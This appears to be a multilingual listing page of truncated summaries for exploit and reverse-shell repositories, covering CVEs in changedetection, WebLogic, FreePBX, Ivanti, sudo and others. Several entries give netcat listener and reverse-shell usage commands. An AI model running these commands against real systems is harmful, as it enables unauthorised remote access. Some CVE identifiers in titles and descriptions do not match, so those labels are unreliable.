CVE-2024-32651-changedetection-RCE

CVE-2024-32651 changedetection 0.45.20 - Exécution de code à distance RCE Exploit d'injection de modèles côté serveur !! 1. Titre Exécution de code à distance via une injection de modèles côté serveur SSTI dans une application web vulnérable 2. Description Cet exploit cible une application web...

unrealircd3.2.8.1-local-exploit

Протестировано на Metasploitable 3 ИСПОЛЬЗОВАНИЕ Ruby На шелле атакующего root@kitploit: nc -nlvp 1111 На шелле жертвы root@kitploit: ruby exploit.rb 127.0.0.1 Ожидаемый вывод на шелле атакующего root@kitploit: listening on any 1111 ... connect to 192.168.56.102 from UNKNOWN 192.168.56.105 48144...

Spring-Cloud-Function-Vulnerability-CVE-2022-22963-RCE

Уязвимость Spring Cloud Function CVE-2022-22963 RCE Это реализация на Python для Spring4Shell, CVE-2022-22963, затрагивающая сервисы, работающие на Spring Cloud Function =3.1.6 для версий 3.1.x и =3.2.2 для версий 3.2.x Комбинация множества POC из сети Автор: Randall Banner Дата: 17/04/23 Описани...

CVE-2025-5781

Эксплойт FreePBX CVE-2025-57819 Описание Этот скрипт эксплуатирует уязвимость в версиях FreePBX до 16.0.26.0 CVE-2025-57819, позволяющую удалённым злоумышленникам выполнять произвольный PHP-код из-за недостатка SQL-инъекции в конечной точке AJAX API. Эксплойт создаёт как веб-шелл, так и...

CVE-2025-62369

CVE-2025-62369 PoC Ce script exploite CVE-2025-62369 dans Xibo CMS pour exécuter une commande de reverse shell. Auteur Nom : Cristian Branet GitHub : cristibtz Utilisation 1. Démarrer un écouteur root@kitploit: nc -lvnp 2. Exécuter l'exploit root@kitploit: python3 exploit.py -u "http://:" -s ""...

CVE-2018-2893

CVE-2018-2893 Permet d'obtenir un shell inversé directement Utilisation Écoute root@kitploit: nc -lvvp reverseport Envoi du payload root@kitploit: python weblogic.py targethost targetport reversehost reverseport Références bigsizeme pyn3rd Remarque À utiliser uniquement pour des tests et des...

ivanti_shell

Эксплуатация CVE-2024-21887 с помощью Ngrok обратного шелла Этот репозиторий содержит Python-скрипт, предназначенный для демонстрации эксплуатации уязвимости CVE-2024-21887 в шлюзах Ivanti Connect Secure. Он использует Ngrok для установления обратного шелла в образовательных и этических целях...

Larascript

| | | | | | / || '| / |/ | /|| ' || || ' \ | | | | | | || | | | | | | | | || | || | || , ||| ,|| / ||| ||| ./ | || Auteurs : @pwnedshell & @rsgbengi 📌 Qu'est-ce que Larascript ? Larascript est un script qui tire parti de CVE-2018-15133 et peut exécuter des commandes à distance si une application...

CVE-2014-6287

CVE-2014-6287 - Rejetto HTTP File Server RCE 익스플로잇 Rejetto HTTP File Server HFS 2.3x에서 2.3c 이전 버전을 대상으로 하는 CVE-2014-6287 익스플로잇의 Rust 구현입니다. 취약점 개요 CVE-2014-6287 은 Rejetto HTTP File Server HFS의 치명적인 원격 코드 실행 취약점입니다. 기술적 세부 사항 영향을 받는 소프트웨어 : Rejetto HTTP File Server HFS 2.3x 및 2.3c 이전 버전 취약점 유형 : 원...

golang-webmin-CVE-2022-0824-revshell

golang-webmin-CVE-2022-0824-revshell RCE в Webmin целевой URL c - учетные данные для webmin sl - ваш локальный IP-адрес сервера и порт для размещения полезной нагрузки s - IP для обратного вызова p - порт для обратного вызова Ссылки https://www.webmin.com/security.html...

PHP-REVERSE-SHELL

PHP Reverse Shell Powerful & Stealthy This is a powerful and stealthy PHP reverse shell designed for ethical hacking and penetration testing. It establishes a reliable and quiet connection back to your machine. ⚠️ Disclaimer This PHP reverse shell is developed strictly for educational and...

hoaxshell

hoaxshell ⚡ The latest version of this project is the HoaxShell standalone listener which comes with refreshed payload templates. Wou can also use it directly from https://revshells.com make sure to choose hoaxshell as the listener. ⚠️ As of 2022-10-18, hoaxshell is detected by AMSI...

hoaxshell

hoaxshell ⚡ La dernière version de ce projet est le HoaxShell standalone listener qui est fourni avec des modèles de payload rafraîchis. Vous pouvez également l'utiliser directement depuis https://revshells.com assurez-vous de choisir hoaxshell comme écouteur. ⚠️ Depuis le 2022-10-18, hoaxshell es...

hack

💀 PwnKit CVE-2021-4034 & Reverse Shell Toolkit ⚠️ ОТКАЗ ОТ ОТВЕТСТВЕННОСТИ: Этот репозиторий создан исключительно в образовательных целях и для исследований в области безопасности. Автор не несет ответственности за неправомерное использование этих инструментов. Используйте только в контролируемых...

CVE-2016-16113-POC

Get RCE - Exploit pour Bludit CMS root@kitploit: | | / / \ / | | \ \ / / ' | | | | ' | | | | | \ V /| | | | || | | | | | | | ,|/ / || ||/|| || ||| Un outil d'exploitation automatisé qui combine CVE-2019-17240 contournement d'authentification et CVE-2019-16113 téléchargement arbitraire de...

RCE-Exploit-Framework

RCE-Exploit-Framework このフレームワークは、ペネトレーションテスターや開発者がリモートコード実行（RCE）エクスプロイトの仕組みを理解するための支援を目的としています。 特徴 ペイロード生成部 : Python、Bash、PHPに基づくカスタムペイロードの作成をサポートします。 エクスプロイト実行部 : HTTP POSTまたはGETを介してターゲットにペイロードを配信します。 リバースシェルリスナー : リバースシェル接続を受信するためのモジュールです。 ログ出力 : 分析のためのエクスプロイト活動のログを保存します。 使用方法 1...

ace-vim-neovim

ace-vim-neovim Vim/Neovim Arbitrary Code Execution via Modelines CVE-2019-12735 Usage 1. listen root@kitploit: nc -vlp 9999 2. ace root@kitploit: vim pocshell.txt And then, your localhost will get shell...

CVE-2026-65400

CVE-2026-65400 Пожертвовать Поддержите сопровождение этого проекта через PayPal или отсканировав QR-код ниже. ⚡ Простое использование Используйте этот проект только в безопасных и авторизованных средах, таких как: Локальные виртуальные машины Контейнеры Docker Изолированные лабораторные среды...

CVE-2023-29017-reverse-shell

CVE-2023-29017-reverse-shell...

CVE-2019-18634

CVE-2019-18634 exploit python fonctionnel sur Ubuntu 20.04, sudo version 1.8.25 remplacez "./shell.sh" par votre reverse shell writeup sur https://y3a.github.io/2021/04/17/sudo-cve-analysis/...